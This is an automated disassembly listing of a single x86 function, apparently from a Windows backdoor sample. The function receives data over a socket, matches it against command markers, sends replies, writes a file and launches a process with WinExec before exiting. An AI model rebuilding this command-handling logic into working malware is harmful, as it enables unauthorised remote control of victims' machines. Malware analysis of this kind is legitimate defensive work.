Function at 0x40574c
Capabilities:
Create process on windows
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xce
push 0
push 0
dec ecx
jne 0x405754
push ebx
push esi
push edi
mov ebx, 0x40c684
mov esi, 0x40b0d4
lea edi, [ebp - 0x649]
xor eax, eax
push ebp
push 0x405b8c
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [esi], eax
jmp 0x405b46
lea eax, [ebp - 4]
mov edx, edi
mov ecx, 0x641
call fcn.00403fe4
mov eax, edi
mov edx, 0x641
call fcn.00404fc4
mov edx, dword [ebp - 4]
mov eax, 0x405ba4
call fcn.00404340
test eax, eax
jle 0x4057f4
mov eax, ebx
mov edx, 0x405bb4
call fcn.00403ecc
lea eax, [ebp - 8]
call fcn.00403e78
push 0x405bc8
push dword [ebx]
push 0x405bd8
push dword [ebp - 8]
push 0x405be4
lea eax, [ebp - 0x650]
mov edx, 5
call fcn.004040bc
mov eax, dword [ebp - 0x650]
call fcn.004052f0
mov edx, dword [ebp - 4]
mov eax, 0x405bf0
call fcn.00404340
test eax, eax
jle 0x4058bf
lea eax, [ebp - 4]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x405bf0
call fcn.00404340
push eax
mov eax, dword [ebp - 4]
call fcn.00403ffc
mov ecx, eax
mov eax, dword [ebp - 4]
pop edx
call fcn.0040425c
lea eax, [ebp - 4]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x405be4
call fcn.00404340
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.0040425c
mov eax, dword [ebp - 4]
call fcn.00403ffc
mov edx, dword [ebp - 4]
cmp byte [edx + eax - 1], 0xd
jne 0x40587d
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 4]
call fcn.00403ffc
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.0040425c
lea eax, [ebp - 4]
mov ecx, 1
mov edx, 2
call fcn.0040429c
lea edx, [ebp - 4]
mov ecx, 2
mov eax, 0x405c00
call fcn.004042e4
lea eax, [ebp - 0x654]
mov ecx, 0x405be4
mov edx, dword [ebp - 4]
call fcn.00404048
mov eax, dword [ebp - 0x654]
call fcn.004052f0
mov edx, dword [ebp - 4]
mov eax, 0x405c0c
call fcn.00404340
test eax, eax
jle 0x4058da
mov dword [0x40c83c], 0xffffffff
mov edx, dword [ebp - 4]
mov eax, 0x405c1c
call fcn.00404340
test eax, eax
jle 0x4058f2
xor eax, eax
mov dword [0x40c83c], eax
mov edx, dword [ebp - 4]
mov eax, 0x405c30
call fcn.00404340
test eax, eax
jle 0x405935
mov dword [esi], 0xffffffff
push 0x405c40
push dword [ebx]
push 0x405c54
push 0x405be4
lea eax, [ebp - 0x658]
mov edx, 4
call fcn.004040bc
mov eax, dword [ebp - 0x658]
call fcn.004052f0
mov edx, dword [ebp - 4]
mov eax, 0x405c80
call fcn.00404340
test eax, eax
jle 0x405976
xor eax, eax
mov dword [esi], eax
push 0x405c40
push dword [ebx]
push 0x405c90
push 0x405be4
lea eax, [ebp - 0x65c]
mov edx, 4
call fcn.004040bc
mov eax, dword [ebp - 0x65c]
call fcn.004052f0
mov edx, dword [ebp - 4]
mov eax, 0x405cb0
call fcn.00404340
test eax, eax
jle 0x4059ee
cmp dword [esi], 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x4059ee
push 0x405c40
push dword [ebx]
push 0x405cc4
lea edx, [ebp - 0x664]
mov eax, dword [0x40c830]
call fcn.004052b8
push dword [ebp - 0x664]
push 0x405ce0
lea edx, [ebp - 0x668]
mov eax, dword [0x40c834]
call fcn.004052b8
push dword [ebp - 0x668]
push 0x405be4
lea eax, [ebp - 0x660]
mov edx, 7
call fcn.004040bc
mov eax, dword [ebp - 0x660]
call fcn.004052f0
mov edx, dword [ebp - 4]
mov eax, 0x405cfc
call fcn.00404340
test eax, eax
jle 0x405a41
push 0x405c40
push dword [ebx]
push 0x405d10
lea edx, [ebp - 0x670]
mov eax, dword [0x40c838]
call fcn.004052b8
push dword [ebp - 0x670]
push 0x405be4
lea eax, [ebp - 0x66c]
mov edx, 5
call fcn.004040bc
mov eax, dword [ebp - 0x66c]
call fcn.004052f0
mov edx, dword [ebp - 4]
mov eax, 0x405d2c
call fcn.00404340
test eax, eax
jle 0x405b46
lea eax, [ebp - 4]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x405d2c
call fcn.00404340
push eax
mov eax, dword [ebp - 4]
call fcn.00403ffc
mov ecx, eax
mov eax, dword [ebp - 4]
pop edx
call fcn.0040425c
lea eax, [ebp - 4]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x405d40
call fcn.00404340
inc eax
push eax
mov eax, dword [ebp - 4]
call fcn.00403ffc
mov ecx, eax
mov eax, dword [ebp - 4]
pop edx
call fcn.0040425c
mov eax, dword [ebp - 4]
call fcn.00403ffc
mov edx, dword [ebp - 4]
cmp byte [edx + eax - 1], 0xa
jne 0x405acf
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 4]
call fcn.00403ffc
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.0040425c
mov eax, dword [ebp - 4]
call fcn.00403ffc
mov edx, dword [ebp - 4]
cmp byte [edx + eax - 1], 0xd
jne 0x405afd
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 4]
call fcn.00403ffc
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.0040425c
mov eax, 0x40c67c
mov edx, dword [ebp - 4]
call fcn.00403ecc
mov eax, 0x40c680
mov edx, 0x405d4c
call fcn.00403ecc
mov edx, dword [0x40c680]
mov eax, dword [0x40c67c]
call fcn.00405218
push 0x5dc
call sub.kernel32.dll_Sleep
push 0
push 0x405d68
call sub.kernel32.dll_WinExec
push 0
call sub.kernel32.dll_ExitProcess_1
push 0
push 0x640
push edi
mov eax, dword [0x40c698]
push eax
call sub.wsock32.dll_recv
test eax, eax
jg 0x405785
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405b93
lea eax, [ebp - 0x670]
mov edx, 9
call fcn.00403e9c
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403e9c
ret